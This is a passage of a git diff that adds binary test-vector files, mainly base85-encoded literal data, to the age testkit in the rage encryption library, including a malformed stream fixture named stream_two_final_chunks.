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 literal 0 HcmV?d00001 diff --git a/lib/rage/age/tests/testdata/testkit/stream_two_final_chunks b/lib/rage/age/tests/testdata/testkit/stream_two_final_chunks new file mode 100644 index 0000000000000000000000000000000000000000..ac2e7a79a73aa41ce2f30921be0ac7ec01214be9 GIT binary patch literal 65982 zcmV(%K;pk;cyMK7bUGk#VR>wCVPqg?VQFl2a%Bo|VR>wCVPrZWWMwjDGBq|ZHZ)-{ zVP-cuH#amlV=`hnH#IOdWMeR5Ic76tW-w%BG-fn7Ib~sEH#0F~GBaUiIb&ftV`DQh z3TA0+Wgu&1c{(6BVPQ35WMN}4Wj0}EWo2YDWMnX5H)UgEVl*;gW;8SkX=G(?bZK;X zIv_zuMJ-cBLsCUlElWjNEipw$R9aR>MpiN~I5Ra)S6NmzGB+?xSXov}GFD4YSTapb zL`zp$OH55iQZzVKL04EbFi|p4GE7Y{3JPIoWi4fHV{&OHoB)Mnq3TV+wF& zT5&5>Fm^aMMKDx2QEgXkPG(bXV=_5-N?LkUGGuTzdNC_>HE&6ANeV43Eg(WmF-uKj zXEaV(WpH;*XjN=kQAJd7Y*2YJFgaIuH&%HxVoPI7O>s(kK?=w(aqEHtn|BjqndF7& zdGtJ@RBh4yz$@uauf$9cVz9W>xV>d+@IB{08&ST!8VS*%L zFFMQU1QcT`I3I5P=+r@ej)uyKcr?o8c@k8lLG}S}Ha9TTLdRqBh+{N~L#Fm8(mUF| zEt#^2d}8h3%fPol%H_b-Xer1o-PZ{Ew@5ykCwhg7`x>BTvJR5DQV+QdDr0c(&kae0#aVXkiZC~eUrHj z8_EW8z9e0@tI~qDl<{)t*G~X=MGc&e-+Ly+`ei^wNE{W*TX2scPqc=*giIxW2Dc4Y z+-@9wgTauN_Q}ouuG9z~pJ0Go04_OAh}@@E?aW7!VR6K8HkfW#K9`Kx8OF-mhX7Fs zYdf5)T?oA*V7K`93A`VrfRf5OM4P6sIje~?Q5biPl=q;HjshM6yt4(O>FP(e2wOh{ zaAtjOgM4Z$vE1_)Tk?^h?0U|c{=PdUzE@j^;?Ma-8gz2F12)~2HNZdx#BN2>@DsL#vs;s6ftZB&jt&$7YB{-d4uH{umtHbw_+nyWuaBf zKec`&Qd`oZFjvw;m=fym(kTy(UUepd0;y)_f{;jgtS7g1x7a`fjCbDT2x;n9A0nYX zh~0adIuB`eRG6J`mf(a}<`5Vun0rV(f}z5f@I>CsjXEGB=RnDa@<0WzXrFKvXt@2c zjE0V01~CmFy>bT;Q$*0^8Kp%KXx&CUK_V;R9ZHouUQHLp7wr%ddvKFyp! z(9XkT)5hFlOEYzuom!jtO8%bG>421*8C6-{BWF);q=Em!z#*(v>;u6P$s{)8kH;f zTC}M>P+$4nAKgX#vzq*bkl)a!oEwbjlf@7~0muYX9Kx;m1ZU`faMQM`zdYa0c+Ew} zm#t*c%saVX2Z#u8&L5G<;@w#{Q(&Jg8k_$a($6vYT6wn}AYlK4-AXho9Y$xS=9d%b zCYvRh7Z;MO$I;_2BQ^U`%^tuAEj?)Pxk=2kk=8*|(L|TmF+Zar+gm6Dp*6+zQ1F2_I>0}7h zyF{k^WvW)Xq+ttT9IEF>%RI69?x{ERWY^{ndjAhj4)PD+ZYHhR`8u#K@-`)Pb4F)0 z0*L^zje-+j{_vp|G?N#gm#C0zTRyz72ouKmv_51VJ8ulgI+s;42Cq{C*BPmFe2zZH#Dhf9Jh_Hxjzop2CCz zyJZ-az(rHp!wkv2&uqI-4unaVh-*fRifE3dB>>>Zl3q5~cKPxwgXns_-@F?H;HabM z*5Wk?w$|P5xnB|1jFVoCFW_GxqlcD%M zZ=rg6oTG5(5HK)}P;+%QXJ)h+J*LR-HGT_=zNy>~10g4@s^EQx-@i)2AP|6#*i4dK zAjpD|AJhOSW*gF$;4Nf}&lYWVh^4(~IHM~3F+?=Mf+mdFLM5gds3A4%}aZ)y%LC59{^5Ek5`} z_OXU}3g0IQ8HF=2RatV|8H;L*ICwNc=h(5kNVy8k`0!S0oNnceDWJcChmrtXNg*pe zCz2$-`Yy$#U)WG`i5CS3Pf$vz?_wE|W7#sfWZ0qt 